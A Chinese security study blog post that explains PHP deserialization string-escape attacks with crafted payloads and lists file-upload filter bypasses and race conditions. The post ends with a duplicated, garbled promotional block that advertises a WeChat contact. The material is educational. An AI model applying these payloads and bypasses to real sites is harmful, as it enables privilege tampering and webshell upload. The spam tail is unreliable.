1).情况一----过滤后字符变多:
首先,假设一个类,然后有三个属性:username、password、isVIP。
class user{
public $username;
public $password;
public $isVIP;
public function \_\_construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
当这个类被初始化的时候,isVIP被默认初始化为0,另外的两个属性则需要在实例化对象的时候传入相关的参数。
以下是传入属性的完整代码。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function \_\_construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$a = new user("admin","123456");
$a\_seri = serialize($a);
echo $a\_seri;
?>
对于这一段代码的输出结果为:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候,如果给这个对象中加入一个替换字符串的方法, 将admin替换为hacker,由于admin和hacker的字符的数目之间有一些差别,admin比hacker少一个,因此,这个可以作为一个字符数目增多的一个替换。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function \_\_construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str\_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a\_seri = serialize($a);
$a\_seri\_filter = filter($a\_seri);
echo $a\_seri\_filter;
?>
输出的结果为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
那么,假设,我们想要修改的是isVIP的值为1,那么,就需要通过过滤后字符变多的特性,来使得过滤之后多出来的字符个数等于之后的所有字符的个数,然后,将想要修改的子串补充在后面,也就是说,本来需要在new user()这个对象的时候,传入的参数从admin*47之后加上 ;s:8:“password”;s:6:“123456”;s:5:“isVIP”;i:1;},那么,这个时候的代码如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function \_\_construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str\_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a\_seri = serialize($a);
$a\_seri\_filter = filter($a\_seri);
echo $a\_seri\_filter;
?>
输出的语句就成为了:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里则会因为后面多余的子串会被丢弃,而成功完成了逃逸。
2).情况二----过滤后字符数目变少:
对于如下代码:
<?php
highlight\_file(__file__);
function filter($str){
return str\_replace('ll', 'l', $str);
}
class person{
public $name = 'lonmar';
public $age = '100';
}
其输出结果如下:
O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"100";}
因为PHP反序列化存在一个机制,那就是如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
因此,由上方所示的机制,就可以猜想到,想要修改age的值,就需要使name的长度比真实的包括后面的一个多出**";s:3:“age”;s:26:"123**的数目个的量,也就是21,那么,就需要构造42个l,因此,构造如下:
O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}
那么,对于name的属性的值就成为了llllllllllllllllllllllllllllllllllllllllllonmar";s:3:“age”;s:26:"123,具体代码示例如下:
<?php
highlight\_file(__file__);
function filter($str){
return str\_replace('ll', 'l', $str);
}
class person{
public $name = 'llllllllllllllllllllllllllllllllllllllllll';
public $age = '123";s:3:"age";s:3:"111";}';
}
$a = new person();
$a = serialize($a);
var\_dump($a);
$a = filter($a);
var\_dump($a);
var\_dump(unserialize($a));
输出的结果中,最后一步输出的结果为:
object(person)#1 (2) { ["name"]=> string(42) "lllllllllllllllllllll";s:3:"age";s:26:"123" ["age"]=> string(3) "111" }
4.对于析构方法__destruct(),如果程序报错导致无法触发该方法,如何绕过。
该问题至今未找到针对的关键词,只好先记录在这里,等到什么时候找到了问题的答案再回来解决。
5.原生类的内容:
由于原生类的内容我早已总结过一次,因此,直接在下面放上相关的地址
https://blog.csdn.net/qq_66013948/article/details/134896764?spm=1001.2014.3001.5501
文件上传相关内容:
1.限制PHP的后缀怎么绕过:
由于这种问题问得较为抽象,所以,我简要列出几个方法得名字,相关的内容可以根据实际情况来进行利用:
- 前端JS绕过
- MIME类型绕过
- 黑名单,可以利用phtml等可以被后端解析的文件后缀最为代替
- 双写绕过,当后端WAF使用的时preg_replace()函数作为绕过,并且没有递归或者循环的情况下,可以一次或多次双写进行绕过
- 大小写绕过,当后端正则的代码对于大小写敏感,且对于同个文件名后缀的大小写各种组合没有严格过滤的情况下
- .htaccess以及.user.ini绕过,只能上传jpg等图片格式的文件的情况下。
2.条件竞争:
由于在这里完全记录竞争包含感觉实在有点没啥大用,因此,我选择这里简要列举以下,等过段时间打upload-labs等等靶场的时候再系统性地进行。
1).什么是条件竞争:
再某些文件上传的情景中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件是否含有风险,如果有的话会被删除,这时我们就需要和删除函数(例如:unlink()函数)来进行时间与线程上的竞争,争取在删除文件之前访问到该文件。
2).补充知识点:
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
链图片转存中…(img-iSPgIUoL-1713075247916)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-AQZcViTC-1713075247916)]